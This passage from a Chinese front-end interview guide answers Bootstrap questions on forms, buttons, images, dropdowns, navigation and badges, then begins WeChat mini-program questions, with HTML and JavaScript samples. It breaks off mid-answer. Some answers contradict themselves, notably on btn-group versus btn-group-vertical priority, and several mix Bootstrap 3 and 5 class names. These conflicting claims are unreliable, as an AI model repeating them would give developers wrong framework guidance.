使用 Bootstrap 创建垂直表单的基本步骤如下:

  1. 创建一个 <form> 元素,并添加 role="form" 属性,用于标识该表单的角色。
<form role="form">
  <!-- 表单内容 -->
</form>
  1. 将每个表单项(标签和控件)放置在一个带有 class="form-group" 的 <div> 元素中,这样可以获得最佳的间距和样式。
<form role="form">
  <div class="form-group">
    <!-- 表单项 -->
  </div>
</form>
  1. 将文本输入框 <input>、文本域 <textarea> 和下拉菜单 <select> 元素添加 class="form-control" 类,以应用 Bootstrap 提供的样式和布局。
<form role="form">
  <div class="form-group">
    <label for="name">姓名:</label>
    <input type="text" class="form-control" id="name" placeholder="请输入姓名">
  </div>
  <div class="form-group">
    <label for="email">邮箱:</label>
    <input type="email" class="form-control" id="email" placeholder="请输入邮箱">
  </div>
  <div class="form-group">
    <label for="message">留言:</label>
    <textarea class="form-control" id="message" placeholder="请输入留言内容"></textarea>
  </div>
</form>

通过以上步骤,你可以使用 Bootstrap 创建一个简单的垂直表单。你可以根据需要添加更多的表单项,并根据 Bootstrap 提供的文档进行样式和布局的调整。

# 11 使用Bootstrap创建水平表单的基本步骤?

⚡ 30 秒速记

  • 给包裹层加 class="row",label 加 col-form-label 和列宽类,输入框放在另一个列里
  • 示例:<div class="row mb-3"><label class="col-sm-2 col-form-label">…</label><div class="col-sm-10"><input class="form-control"></div></div>
  • col-form-label 的作用是调整 label 的 padding 让它与输入框垂直对齐
  • Bootstrap 3 是给 form 加 form-horizontal 类,4/5 取消了该类改用栅格
  • 同样要保证 label 的 for 与 input 的 id 关联

给 <form> 添加 form-horizontal,每个表单项用 form-group 包裹,再为标签设置 control-label、为控件设置 form-control。 标签和输入区域可以配合 col-sm-8 这类栅格宽度,让它们在同一行内排布。简单来说,水平效果依赖表单类与栅格布局共同完成;同时要让标签的 for 和控件的 id 保持一致。

使用 Bootstrap 创建水平表单的基本步骤如下:

  1. 创建一个 <form> 元素,并添加 class="form-horizontal" 类,以便应用水平表单的样式。
<form class="form-horizontal">
  <!-- 表单内容 -->
</form>
  1. 将每个表单项(标签和控件)放置在一个带有 class="form-group" 的 <div> 元素中,以获得最佳的间距和样式。
<form class="form-horizontal">
  <div class="form-group">
    <!-- 表单项 -->
  </div>
</form>
  1. 在标签元素中添加 class="control-label" 类,以标识其为表单项的标签。
<form class="form-horizontal">
  <div class="form-group">
    <label for="name" class="control-label">姓名:</label>
    <div class="col-sm-8">
      <input type="text" class="form-control" id="name" placeholder="请输入姓名">
    </div>
  </div>
  <div class="form-group">
    <label for="email" class="control-label">邮箱:</label>
    <div class="col-sm-8">
      <input type="email" class="form-control" id="email" placeholder="请输入邮箱">
    </div>
  </div>
</form>

通过以上步骤,你可以使用 Bootstrap 创建一个简单的水平表单。你可以根据需要添加更多的表单项,并根据 Bootstrap 提供的文档进行样式和布局的调整。

# 12 使用Bootstrap如何创建表单控件的帮助文本?

⚡ 30 秒速记

  • Bootstrap 5:<div class="form-text">帮助说明</div>,放在输入框下方
  • Bootstrap 3/4 用 <small class="form-text text-muted">
  • 无障碍关键:给帮助文本一个 id,输入框加 aria-describedby="该id",读屏器才会念出来
  • 校验反馈另有专门的类:valid-feedback / invalid-feedback,配合 is-valid / is-invalid 显示
  • 这题的加分点是主动提 aria-describedby —— 大多数人只答类名

把帮助说明放在对应表单控件的 form-group 内,并给承载文本的 <span> 或 <p> 添加 help-block 类。 因为帮助文本和输入控件位于同一组中,用户能直观看出这段提示针对哪个字段,Bootstrap 也会应用相应样式。通常将它紧跟在控件后面;如果默认外观不满足页面需求,再基于该类补充自定义样式。

要在 Bootstrap 中创建表单控件的帮助文本,可以按照以下步骤进行操作:

  1. 将帮助文本放置在与表单控件相关联的 <div> 或 <form-group> 元素内。
<div class="form-group">
  <label for="exampleInputName">姓名</label>
  <input type="text" class="form-control" id="exampleInputName">
  <!-- 帮助文本 -->
</div>
  1. 在帮助文本的标签(通常是 <span> 或 <p>)中添加 class="help-block"。
<div class="form-group">
  <label for="exampleInputName">姓名</label>
  <input type="text" class="form-control" id="exampleInputName">
  <span class="help-block">这里是帮助文本</span>
</div>

通过以上步骤,你可以在 Bootstrap 的表单控件中添加帮助文本。帮助文本将根据 Bootstrap 的样式进行显示,并提供相关的提示或指导信息。你可以根据需要自定义帮助文本的样式。

# 13 使用Bootstrap激活或禁用按钮要如何操作?

⚡ 30 秒速记

  • 禁用:<button class="btn btn-primary" disabled>,用原生 disabled 属性
  • a 标签没有 disabled 属性,要加 class="disabled" + aria-disabled="true" + tabindex="-1"
  • 激活(按下态):加 class="active",同时加 aria-pressed="true"
  • 注意:只加 class="disabled" 而不加原生属性时,按钮仍可被点击和聚焦 —— 必须配 aria-disabled 和事件拦截
  • 无障碍要点:禁用状态要能被读屏器识别,不能只做视觉变灰

激活按钮给元素加 active 类,禁用原生按钮则加 disabled 属性。 active 主要呈现按下状态,通常还会配合 aria-pressed="true" 表达语义。链接没有原生 disabled 属性,需要结合 disabled 类、aria-disabled="true"、tabindex="-1" 和事件拦截。只把按钮视觉变灰并不能真正阻止点击,也不利于读屏器识别。

要在 Bootstrap 中激活或禁用按钮,可以按照以下步骤进行操作:

  • 激活按钮:给按钮添加 .active 的 class。
<button type="button" class="btn btn-primary active">激活按钮</button>
  • 禁用按钮:给按钮添加 disabled="disabled" 的属性。
<button type="button" class="btn btn-primary" disabled="disabled">禁用按钮</button>

通过以上步骤,你可以在 Bootstrap 中激活或禁用按钮。激活按钮将应用活动状态的样式,禁用按钮将禁用按钮的交互性并应用禁用状态的样式。

# 14 Bootstrap有哪些关于img的class?

⚡ 30 秒速记

  • img-fluid:max-width:100% + height:auto,响应式缩放(Bootstrap 3 叫 img-responsive)
  • img-thumbnail:加圆角边框的缩略图样式
  • rounded / rounded-circle:圆角 / 圆形
  • 配合浮动或 mx-auto d-block 做对齐
  • 现代补充:图片一定要写 width/height 属性或 aspect-ratio,否则加载完会顶动布局导致 CLS 变差 —— 这是框架类名解决不了的,要自己注意

图片常用类可以归为三类:响应式用 img-fluid,缩略图用 img-thumbnail,圆角或圆形用 rounded、rounded-circle。 在 Bootstrap 3 中,对应名称是 img-responsive、img-rounded 和 img-circle。这些类负责缩放或外观,不负责预留图片空间。我一般还会设置 width、height 或 aspect-ratio,避免图片加载后顶动布局。

在 Bootstrap 中,有以下关于 <img> 元素的类(class)可用:

  • .img-rounded:为图片添加圆角效果
<img src="image.jpg" class="img-rounded" alt="圆角图片">
  • .img-circle:将图片呈现为圆形。
<img src="image.jpg" class="img-circle" alt="圆形图片">
  • .img-thumbnail:为图片添加缩略图样式。
<img src="image.jpg" class="img-thumbnail" alt="缩略图">
  • .img-responsive:使图片具有响应式特性,可以根据父元素的大小自动调整图片的尺寸。
<img src="image.jpg" class="img-responsive" alt="响应式图片">

通过使用这些类,可以为图片添加不同的样式和功能,以满足项目的需求。

# 15 Bootstrap中有关元素浮动及清除浮动的class?

⚡ 30 秒速记

  • 浮动:float-start / float-end / float-none(Bootstrap 5),3/4 是 pull-left / pull-right / float-left / float-right
  • 支持响应式:float-md-end
  • 清除浮动:clearfix 类(内部用 ::after + clear:both 实现)
  • 现代提醒:这些类在 Flex/Grid 时代已基本用不上,Bootstrap 5 自己的布局也全面转向 flexbox
  • start/end 命名同样是为了适配 RTL 语言

Bootstrap 5 用 float-start、float-end 和 float-none 控制浮动,用 clearfix 清除浮动。 响应式场景可以写成 float-md-end,而旧版本常见的是 pull-left、pull-right 或 float-left、float-right。clearfix 一般加在父元素上,用来处理子元素浮动造成的高度塌陷。现代布局更常用 Flex 或 Grid,浮动类主要留给特定排版场景。

在 Bootstrap 中,有以下关于元素浮动及清除浮动的类(class)可用:

  • .pull-left:将元素浮动到左边。
<div class="pull-left">左浮动元素</div>
  • .pull-right:将元素浮动到右边。
<div class="pull-right">右浮动元素</div>
  • .clearfix:清除浮动,用于解决浮动元素导致的父元素高度塌陷的问题。一般在包含浮动元素的父元素上应用此类。
<div class="clearfix">
  <div class="pull-left">左浮动元素</div>
  <div class="pull-right">右浮动元素</div>
</div>

通过使用这些类,可以实现元素的浮动和清除浮动的效果,使布局更加灵活和符合设计要求。

# 16 除了屏幕阅读器外,其他设备上隐藏元素的class?

⚡ 30 秒速记

  • .visually-hidden(Bootstrap 5):视觉上隐藏但保留在无障碍树里,读屏器仍会朗读 —— 3/4 叫 sr-only
  • .visually-hidden-focusable:平时隐藏,键盘聚焦时显示 —— 典型用于"跳到主内容"的快捷链接
  • 对比 d-none:视觉和读屏器都隐藏(等价于 display:none)
  • 实现原理:绝对定位 + 1px 尺寸 + clip-path 裁剪 + overflow:hidden,而不是 display:none
  • 这是无障碍开发的基础技能,值得记牢

Bootstrap 5 使用 visually-hidden,可让元素在视觉设备上隐藏,但仍供屏幕阅读器读取。 在 Bootstrap 3/4 中,这个类叫 sr-only。它本质上通过定位、裁剪和极小尺寸隐藏内容,而不是使用 display:none,所以不会离开无障碍树。需要键盘聚焦时显示可用 visually-hidden-focusable,例如“跳到主内容”链接;若视觉和读屏都要隐藏,则用 d-none。

除了屏幕阅读器外,可以使用 .sr-only 类来隐藏元素,这个类可以在其他设备上隐藏元素,但在屏幕阅读器中仍然可见。这对于提供辅助功能和可访问性非常有用。

例如,可以将 .sr-only 类应用于某个元素,以隐藏其内容:

<span class="sr-only">这段文本在其他设备上隐藏</span>

这样,在常规的可视设备上,这段文本是隐藏的,而在屏幕阅读器中,用户仍然可以访问和阅读这段文本的内容。

# 17 Bootstrap如何制作下拉菜单?

⚡ 30 秒速记

  • 结构:外层 .dropdown,触发器加 class="dropdown-toggle" data-bs-toggle="dropdown",菜单用 <ul class="dropdown-menu"> + <li><a class="dropdown-item">
  • Bootstrap 5 的 data 属性带 bs 前缀(data-bs-toggle),4 及以前是 data-toggle
  • 定位靠 Popper.js(Bootstrap 5 内置),支持自动翻转避让视口边缘
  • 无障碍:触发器要有 aria-expanded,菜单项支持方向键导航和 Esc 关闭
  • Bootstrap 5 已移除 jQuery 依赖,组件用原生 JS 实现

用外层 dropdown 包住触发按钮和 dropdown-menu,再通过按钮的 data-toggle="dropdown" 激活下拉行为。 按钮通常配合 dropdown-toggle、唯一 id 和 aria-expanded,菜单则用 aria-labelledby 关联按钮。菜单项可设置 role="presentation",链接使用 role="menuitem" 和 tabindex="-1",标题使用 dropdown-header。如果使用 Bootstrap 5,需要把属性改成带 bs 前缀的 data-bs-toggle。

  • 将下拉菜单包裹在class="dropdown"的<div>中;
  • 在触发下拉菜单的按钮中添加:class="btn dropdown-toggle" id="dropdownMenu1" data-toggle="dropdown"
  • 在包裹下拉菜单的ul中添加:class="dropdown-menu" role="menu" aria-labelledby="dropdownMenu1"
  • 在下拉菜单的列表项中添加:role="presentation"。其中,下拉菜单的标题要添加class="dropdown-header",选项部分要添加tabindex="-1"。

正确,您提供的步骤是制作下拉菜单的基本步骤。下面是一个示例代码:

<div class="dropdown">
  <button class="btn dropdown-toggle" id="dropdownMenu1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
    下拉菜单
    <span class="caret"></span>
  </button>
  <ul class="dropdown-menu" role="menu" aria-labelledby="dropdownMenu1">
    <li role="presentation"><a role="menuitem" tabindex="-1" href="#">选项1</a></li>
    <li role="presentation"><a role="menuitem" tabindex="-1" href="#">选项2</a></li>
    <li role="presentation"><a role="menuitem" tabindex="-1" href="#">选项3</a></li>
    <li role="presentation" class="divider"></li>
    <li role="presentation" class="dropdown-header">标题</li>
    <li role="presentation"><a role="menuitem" tabindex="-1" href="#">选项4</a></li>
  </ul>
</div>

这是一个简单的下拉菜单示例,当点击按钮时,下拉菜单会展开显示选项。您可以根据自己的需求修改按钮文本、菜单项内容和样式。

# 18 Bootstrap如何制作按钮组?以及水平按钮组和垂直按钮组的优先级?

⚡ 30 秒速记

  • 水平:<div class="btn-group" role="group" aria-label="...">,垂直:<div class="btn-group-vertical">
  • 两者不能同时作用于同一元素;同时写时垂直(btn-group-vertical)优先,因为它的样式定义在后面
  • 按钮组工具栏:多个 btn-group 外面套 <div class="btn-toolbar">
  • 尺寸:btn-group-lg / btn-group-sm 统一控制组内按钮大小
  • 无障碍:必须加 role="group" 和 aria-label,否则读屏器不知道这是一组关联按钮

水平按钮组用 btn-group 包裹按钮,垂直按钮组则使用 btn-group-vertical;两者同时出现时,btn-group 的样式优先,按钮会水平排列。 本质上,这两个类分别控制按钮的横向和纵向布局。实际使用时应根据界面场景只选择其中一个,避免同时声明造成样式含义冲突。按钮组容器还可以补上 role="group" 和 aria-label,让辅助技术知道这些按钮属于同一组。

制作按钮组的基本步骤如下:

  1. 使用class="btn-group"的<div>包裹按钮组。这将把一组按钮组合在一起。
<div class="btn-group" role="group" aria-label="按钮组">
  <button type="button" class="btn btn-primary">按钮1</button>
  <button type="button" class="btn btn-primary">按钮2</button>
  <button type="button" class="btn btn-primary">按钮3</button>
</div>
  1. 如果想要创建垂直按钮组,可以使用class="btn-group-vertical"。
<div class="btn-group-vertical" role="group" aria-label="垂直按钮组">
  <button type="button" class="btn btn-primary">按钮1</button>
  <button type="button" class="btn btn-primary">按钮2</button>
  <button type="button" class="btn btn-primary">按钮3</button>
</div>

需要注意的是,btn-group的优先级高于btn-group-vertical的优先级。因此,如果使用了btn-group的<div>包裹按钮组,并且同时使用了btn-group-vertical的<div>,则以btn-group的样式为准,按钮组将水平显示。

# 19 Bootstrap如何设置按钮的下拉菜单?

⚡ 30 秒速记

  • 在 .btn-group 内放一个按钮 + 一个带 dropdown-toggle 的按钮,后跟 .dropdown-menu
  • 拆分式按钮(split button):主按钮独立可点,旁边的小箭头按钮负责展开菜单,箭头按钮加 dropdown-toggle-split 类
  • 向上弹出用 .dropup,向左右用 .dropstart / .dropend
  • 同样需要 data-bs-toggle="dropdown" 和 aria-expanded
  • 箭头按钮内要放 <span class="visually-hidden">切换下拉菜单</span> 供读屏器识别

把普通按钮、下拉触发按钮和菜单一起放进 .btn-group,就能组成按钮下拉菜单。 触发按钮需要添加 .dropdown-toggle 和 data-toggle="dropdown",点击后 Bootstrap 才会切换菜单的显示状态。菜单使用 .dropdown-menu,内部再放具体的菜单项,同时通过 aria-haspopup、aria-expanded 和 .sr-only 补充无障碍信息。需要保留主按钮独立操作时,可以采用这种拆分式结构,让旁边的箭头按钮只负责展开菜单。

要设置按钮的下拉菜单,可以将按钮和下拉菜单放置在一个.btn-group中。下面是示例代码:

<div class="btn-group">
  <button type="button" class="btn btn-primary">按钮</button>
  <button type="button" class="btn btn-primary dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
    <span class="caret"></span>
    <span class="sr-only">下拉菜单</span>
  </button>
  <ul class="dropdown-menu">
    <li><a href="#">菜单项1</a></li>
    <li><a href="#">菜单项2</a></li>
    <li><a href="#">菜单项3</a></li>
  </ul>
</div>

在上面的代码中,.btn-group包含了一个按钮和一个带有.dropdown-toggle类的下拉菜单触发器按钮。通过添加.dropdown-toggle类和相关的data-toggle属性,可以实现按钮点击时展示下拉菜单。下拉菜单则是使用.dropdown-menu类定义的。

# 20 Bootstrap中的输入框组如何制作?

⚡ 30 秒速记

  • 外层 <div class="input-group">,前后缀用 <span class="input-group-text">,中间放 .form-control
  • 可以放按钮、下拉菜单、复选框作为前后缀
  • 尺寸:input-group-lg / input-group-sm
  • Bootstrap 5 移除了 input-group-prepend / append 这层包裹,直接把 input-group-text 作为 input-group 的子元素
  • 无障碍:前后缀要用 aria-describedby 与输入框关联,或给输入框加 aria-label

用一个带 input-group 类的 div 包住输入框,再把带 input-group-addon 类的 span 放在输入框前面或后面,就能组成输入框组。 输入框本身通常使用 form-control,这样前后缀和输入区域会按 Bootstrap 的样式结合起来。比如在用户名输入框前放一个 @,可以直观提示用户输入内容的含义。需要更丰富的交互时,也可以按场景加入按钮或下拉菜单。

要制作Bootstrap中的输入框组,可以按照以下步骤进行操作:

  1. 创建一个带有class="input-group"的<div>,将其作为输入框组的容器。
  2. 在<div>中,使用<span>标签并添加class="input-group-addon",在其中放置额外的内容,例如前缀或后缀元素。
  3. 将<span>标签放在<input>元素的前面或后面,以实现前缀或后缀元素与输入框的结合。

以下是一个示例代码:

<div class="input-group">
  <span class="input-group-addon">@</span>
  <input type="text" class="form-control" placeholder="用户名">
</div>

在上面的代码中,<div>元素具有class="input-group",<span>元素具有class="input-group-addon",并包含了一个前缀元素@。输入框使用<input>标签,并添加了class="form-control"用于样式设置。

你还可以根据需要添加其他的输入框组元素,如按钮、下拉菜单等,以创建更丰富的输入框组。

# 21 Bootstrap中的导航都有哪些?

⚡ 30 秒速记

  • 基础导航 .nav(配 nav-item / nav-link)
  • 标签页 .nav-tabs、胶囊 .nav-pills、下划线 .nav-underline(Bootstrap 5.3 新增)
  • 填充与对齐:nav-fill(等分剩余空间)、nav-justified(完全等宽)
  • 导航栏 .navbar:带品牌 logo、折叠汉堡菜单、响应式断点 navbar-expand-*
  • 面包屑 .breadcrumb、分页 .pagination
  • 无障碍:导航要用 <nav> 标签 + aria-label 区分多个导航区;标签页要配 role="tablist" 和 aria-selected

Bootstrap 常用导航包括标签页 nav-tabs、胶囊导航 nav-pills、导航栏 navbar 和面包屑 breadcrumb。 标签页适合切换同级内容,胶囊导航更像选项分类,而导航栏负责承载网站的主要入口。页面层级较深时用面包屑,列表内容较多时还可以搭配 pagination。实际选择要看信息关系,不建议为了样式把不同用途的导航混在一起。

Bootstrap提供了多种导航组件,以下是其中几种常用的导航:

  1. 标签页导航(Tabs):使用class="nav nav-tabs"创建标签页导航,用于在不同的内容页之间进行切换。
  2. 胶囊式标签页导航(Pills):使用class="nav nav-pills"创建胶囊式标签页导航,通常用于表示不同的选项或分类。
  3. 导航栏(Navbar):使用class="navbar navbar-default"和role="navigation"创建导航栏,用于显示网站的主要导航链接。
  4. 面包屑导航(Breadcrumb):使用class="breadcrumb"创建面包屑导航,用于显示当前页面在网站结构中的位置。

除了上述导航组件外,Bootstrap还提供了其他导航相关的组件,如导航工具栏(Navbar Toolbar)、下拉菜单(Dropdown)、分页导航(Pagination)等,可以根据具体的需求选择合适的导航组件来构建网站的导航部分。

以下是几个常见导航组件的示例代码:

  1. 标签页导航(Tabs):
<ul class="nav nav-tabs">
  <li class="active"><a href="#home">Home</a></li>
  <li><a href="#profile">Profile</a></li>
  <li><a href="#messages">Messages</a></li>
</ul>
  1. 胶囊式标签页导航(Pills):
<ul class="nav nav-pills">
  <li class="active"><a href="#home">Home</a></li>
  <li><a href="#profile">Profile</a></li>
  <li><a href="#messages">Messages</a></li>
</ul>
  1. 导航栏(Navbar):
<nav class="navbar navbar-default" role="navigation">
  <div class="navbar-header">
    <a class="navbar-brand" href="#">Logo</a>
  </div>
  <ul class="nav navbar-nav">
    <li class="active"><a href="#">Home</a></li>
    <li><a href="#">About</a></li>
    <li><a href="#">Services</a></li>
    <li><a href="#">Contact</a></li>
  </ul>
</nav>
  1. 面包屑导航(Breadcrumb):
<ol class="breadcrumb">
  <li><a href="#">Home</a></li>
  <li><a href="#">Category</a></li>
  <li class="active">Current Page</li>
</ol>

这些示例代码仅为演示Bootstrap导航组件的基本结构,具体样式和功能可以根据需要进行进一步定制和扩展。

# 22 Bootstrap中设置分页的class?

⚡ 30 秒速记

  • 外层 <nav aria-label="分页导航">,内层 <ul class="pagination">,每项 <li class="page-item"><a class="page-link">
  • 状态类:.active 当前页、.disabled 不可点
  • 尺寸:pagination-lg / pagination-sm;对齐用 justify-content-center 等 flex 工具类
  • 无障碍:当前页加 aria-current="page";禁用项要加 tabindex="-1" 和 aria-disabled="true"
  • 上一页/下一页的箭头符号要配 <span class="visually-hidden">上一页</span>

分页使用 pagination,通常写在 <ul> 上;翻页式导航可以使用 pager。 pagination 适合展示具体页码,让用户直接跳到目标页;pager 只提供上一页和下一页,更适合线性浏览。具体项目里还可以基于这些类调整布局和样式。如果需要完整页码导航,我一般优先选 pagination。

在Bootstrap中,可以使用以下class来设置分页和翻页样式:

  • 默认分页样式:class="pagination"
<ul class="pagination">
  <li><a href="#">Previous</a></li>
  <li><a href="#">1</a></li>
  <li><a href="#">2</a></li>
  <li><a href="#">3</a></li>
  <li><a href="#">Next</a></li>
</ul>
  • 默认翻页样式:class="pager"
<ul class="pager">
  <li><a href="#">Previous</a></li>
  <li><a href="#">Next</a></li>
</ul>

这些class可以帮助你创建具有分页和翻页功能的导航组件,你可以根据需要进行样式和布局的调整。

# 23 Bootstrap中显示标签的class?

⚡ 30 秒速记

  • Bootstrap 5 用 .badge 配背景色工具类:<span class="badge text-bg-primary">
  • Bootstrap 3 的 .label 类在 4 中已被移除,统一合并进 .badge
  • 圆形药丸样式加 .rounded-pill
  • 常见用法:按钮内放 badge 显示计数、导航项旁标记新消息
  • 无障碍:纯数字的 badge 要补上下文,比如加 <span class="visually-hidden">条未读消息</span>

显示标签可以使用 label,并搭配 label-primary 等状态类改变外观。 单独写 <span class="label"> 会得到默认标签,再增加颜色类就能表达主要、提示等不同语义。它适合放在标题或文本旁,用来标记分类和状态。样式可以继续定制,但最好让颜色与标签含义保持一致,避免只靠视觉装饰。

在Bootstrap中,可以使用class="label"来显示标签样式。以下是一个示例代码:

<span class="label">Default</span>

上述代码将创建一个默认样式的标签,你可以根据需要添加更多的class来自定义标签的样式。例如,你可以使用class="label label-primary"来创建一个带有主要颜色的标签。

<span class="label label-primary">Primary</span>

通过添加不同的class,你可以改变标签的颜色、背景色和其他样式,以适应你的设计需求。

# 24 Bootstrap中如何制作徽章?

⚡ 30 秒速记

  • 与第 23 题同一个东西:<span class="badge text-bg-secondary">99+</span>
  • 放在按钮或标题内会自动继承父级字号(badge 用 em 单位)
  • 定位式徽章(红点角标):配 position-absolute top-0 start-100 translate-middle 这组工具类
  • 圆点样式:badge + rounded-pill + p-2 且不放文字
  • 同样要注意给纯数字徽章补充读屏器可理解的说明文字

在元素中加入 badge 类即可制作徽章,例如 <span class="badge">26</span>。 徽章本质上是一段醒目的提示信息,常用来显示消息数量或待处理计数。需要区分不同状态时,可以再搭配 badge-primary 等样式类调整背景色和文字颜色。它适合做简短提示,不宜放入过长内容,否则会削弱徽章的识别效果。

在Bootstrap中,可以使用class="badge"来创建徽章。徽章用于在元素上显示一些提示信息或计数。

以下是一个示例代码:

<span class="badge">26</span>

上述代码将创建一个默认样式的徽章,并在徽章上显示数字"26"。你可以根据需要调整徽章的样式,例如改变背景颜色、文本颜色等。

<span class="badge badge-primary">26</span>

通过添加不同的class,你可以改变徽章的外观,使其适应你的设计需求。

# 25 Bootstrap中超大屏幕的作用是什么?

⚡ 30 秒速记

  • 指 Jumbotron(Bootstrap 3/4):一块加大内边距和字号的展示区块,用来做首屏 Hero 标语
  • 用法:<div class="jumbotron">,加 .jumbotron-fluid 可铺满全宽
  • Bootstrap 5 已移除 Jumbotron 组件,改用工具类组合实现:<div class="p-5 mb-4 bg-light rounded-3">
  • 移除的原因是它只是几个工具类的组合,不值得单独作为组件维护
  • 面试遇到这题,能指出"5.0 已移除"比会用它更加分

Bootstrap 的超大屏幕通过 class="jumbotron" 创建,通常放在页面顶部,用来突出重要信息并吸引用户注意。 它会用更大的标题字号和更多留白,让内容比普通区块更醒目。实际使用时可以放标题、副标题、说明文字和按钮,例如作为网站欢迎区或核心功能入口。背景颜色和文本样式也能按设计需求自定义,但不适合所有内容都使用,否则会削弱重点。

在Bootstrap中,class="jumbotron"用于创建超大屏幕(Jumbotron)组件。超大屏幕常用于页面的顶部,用于突出显示重要的信息或引导用户的注意力。

超大屏幕组件具有以下特点:

  • 标题的字体大小较大,以引起用户的注意。
  • 提供更多的外边距,使内容在页面上更突出。
  • 可以容纳大量的文本或其他内容,如标题、副标题、按钮等。
  • 可以通过自定义样式来改变背景颜色、文本样式等。

以下是一个示例代码:

<div class="jumbotron">
  <h1 class="display-4">Welcome to our website!</h1>
  <p class="lead">We provide high-quality products and excellent services.</p>
  <a class="btn btn-primary btn-lg" href="#" role="button">Learn more</a>
</div>

上述代码将创建一个超大屏幕组件,其中包含一个标题、副标题和一个按钮。你可以根据需要自定义超大屏幕的内容和样式,使其符合你的设计需求。

# 六、微信小程序相关

# 1 微信小程序有几个文件

⚡ 30 秒速记

  • 单个页面四个:.wxml(结构)、.wxss(样式)、.js(逻辑)、.json(该页配置)
  • 全局四个:app.js(生命周期与全局数据)、app.json(页面路由、窗口、tabBar)、app.wxss(全局样式)、project.config.json(项目配置)
  • 还有 sitemap.json 控制页面能否被微信索引
  • 分包时每个分包有自己的目录结构,在 app.json 的 subpackages 里声明
  • 对应关系可以类比:wxml≈html、wxss≈css、js≈逻辑、json≈配置

微信小程序常见文件可分为页面文件和全局文件,单个页面通常由 wxml、wxss、js 和 json 四类文件组成。 wxml 负责结构,wxss 负责样式,js 处理数据和交互,json 保存页面配置。项目根目录还有 app.js、app.json 和 app.wxss,分别承载全局逻辑、全局配置与全局样式。实际项目还可能包含 project.config.json、sitemap.json 或分包目录,所以不能简单理解为整个项目只有固定数量的文件。

微信小程序主要包含以下几个文件:

  1. .wxml(WeiXin Markup Language):用于描述小程序的页面结构,类似于 HTML。在这个文件中,可以使用小程序提供的组件和自定义的组件,以及使用数据绑定和逻辑控制语句来构建页面的结构。
  2. .wxss(WeiXin Style Sheets):是一套样式语言,用于描述 .wxml 文件中组件的样式。类似于 CSS,可以设置元素的样式、布局、动画效果等。
  3. .js:小程序的逻辑处理文件,包含了页面的逻辑代码。可以在这个文件中定义页面的事件处理函数、数据的处理和操作等。通过 JavaScript 的逻辑控制,可以实现小程序的交互功能。
  4. app.json:小程序的全局配置文件,必须存在于小程序项目中。在这个文件中,可以进行页面的注册,设置小程序的窗口样式,配置底部导航栏(tabBar),以及设置网络请求等。
  5. app.js:小程序的全局 JavaScript 文件,用于监听和处理小程序的生命周期函数、声明全局变量等。可以在这个文件中编写全局的逻辑代码。
  6. app.wxss:小程序的全局样式文件,用于设置小程序全局的样式。可以在这个文件中定义小程序的全局样式,如页面的背景色、字体样式、导航栏样式等。

以上是微信小程序中常见的文件类型,每个文件都有其特定的作用和功能,通过不同类型的文件协同工作,可以构建出完整的微信小程序应用。

# 2 微信小程序怎样跟事件传值

⚡ 30 秒速记

  • 用 data-* 自定义属性传值:<view data-id="{<span class="vp-brace-split" aria-hidden="true"></span>{item.id}<span class="vp-brace-split" aria-hidden="true"></span>}" bindtap="onTap">,在事件回调里通过 e.currentTarget.dataset.id 取
  • 注意 target 和 currentTarget 的区别:target 是实际触发的元素,currentTarget 是绑定事件的元素 —— 列表项内有子元素时用 currentTarget 才对
  • dataset 的键名会自动转成小写并去掉连字符转小驼峰(data-user-id → userId)
  • 跨页面传值:navigateTo 的 URL 参数、全局 globalData、本地缓存、或事件通道 EventChannel
  • 组件间:父传子用 properties,子传父用 triggerEvent

微信小程序里,我一般用 data-* 把参数挂到绑定事件的元素上,再从 event.currentTarget.dataset 中取值。 例如给列表项写 data-id="{<span class="vp-brace-split" aria-hidden="true"></span>{item.id}<span class="vp-brace-split" aria-hidden="true"></span>}",点击回调里通过 event.currentTarget.dataset.id 获取对应的 id;元素自身的 id 则可以从 event.currentTarget.id 读取。表单提交这类事件有所不同,输入值由组件放在 event.detail.value 中,所以应按事件类型读取。需要注意,存在子元素时应使用 currentTarget 定位绑定事件的元素,避免拿到实际触发事件的子元素。

在微信小程序中,可以通过以下方式实现事件传值:

  1. 使用 data-* 属性:给 HTML 元素添加自定义的 data-* 属性来传递需要的值。例如,可以在某个元素上添加 data-id 属性来传递对应的 ID 值。在事件处理函数中,可以通过 event.currentTarget.dataset 来获取这些属性值。
<view data-id="123" bindtap="handleTap">点击我</view>
Page({
  handleTap(event) {
    const id = event.currentTarget.dataset.id;
    console.log(id); // 输出:123
  }
})
  1. 使用自定义属性:在小程序中可以给 HTML 元素添加自定义属性,然后在事件处理函数中通过 event.currentTarget.dataset 或 event.currentTarget.id 来获取这些属性值。
<view id="my-element" data-id="123" bindtap="handleTap">点击我</view>
Page({
  handleTap(event) {
    const id = event.currentTarget.dataset.id;
    const elementId = event.currentTarget.id;
    console.log(id); // 输出:123
    console.log(elementId); // 输出:my-element
  }
})
  1. 使用 event.detail:对于一些特定的事件,例如表单的提交事件 bindsubmit,可以通过 event.detail 来获取额外的参数值。
<form bindsubmit="handleSubmit">
  <input name="username" placeholder="请输入用户名" />
  <input name="password" type="password" placeholder="请输入密码" />
  <button type="submit">提交</button>
</form>
Page({
  handleSubmit(event) {
    const { username, password } = event.detail.value;
    console.log(username, password); // 输出:输入的用户名和密码
  }
})

通过以上方法,可以在微信小程序中实现事件传值,并在事件处理函数中获取传递的值,以实现更灵活的交互和数据处理。

# 3 小程序的 wxss 和 css 有哪些不一样的地方?

⚡ 30 秒速记

  • 新增尺寸单位 rpx:规定屏幕宽度恒为 750rpx,自动按设备宽度换算,写响应式不用媒体查询
  • 样式导入用 @import "path.wxss",不是 CSS 的 @import url()
  • 只支持部分选择器:class、id、element、::before/::after、并集和后代选择器;不支持属性选择器和复杂伪类
  • 不能使用本地图片作为 background-image(要用网络图或 base64)
  • 存在样式隔离:自定义组件默认样式隔离,需要用 styleIsolation 配置
  • 其余绝大部分 CSS 属性都支持,包括 Flex(小程序布局主要靠 Flex)

WXSS 基于 CSS,但增加了小程序专用能力,同时对资源、选择器和组件样式做了限制。 它提供 rpx,把屏幕宽度统一为 750rpx 并按设备换算;导入样式时写 @import "path.wxss",而不是 CSS 常见的 url() 形式。选择器只支持常用的一部分,属性选择器和复杂伪类不能直接用,本地图片也不能作为 background-image,通常要换成网络地址或 base64。自定义组件默认存在样式隔离,需要通过 styleIsolation 调整;日常布局仍可使用大部分 CSS 属性,并以 Flex 为主。

小程序的 WXSS(WeiXin Style Sheets)和 CSS(Cascading Style Sheets)在语法和功能上有一些不同之处:

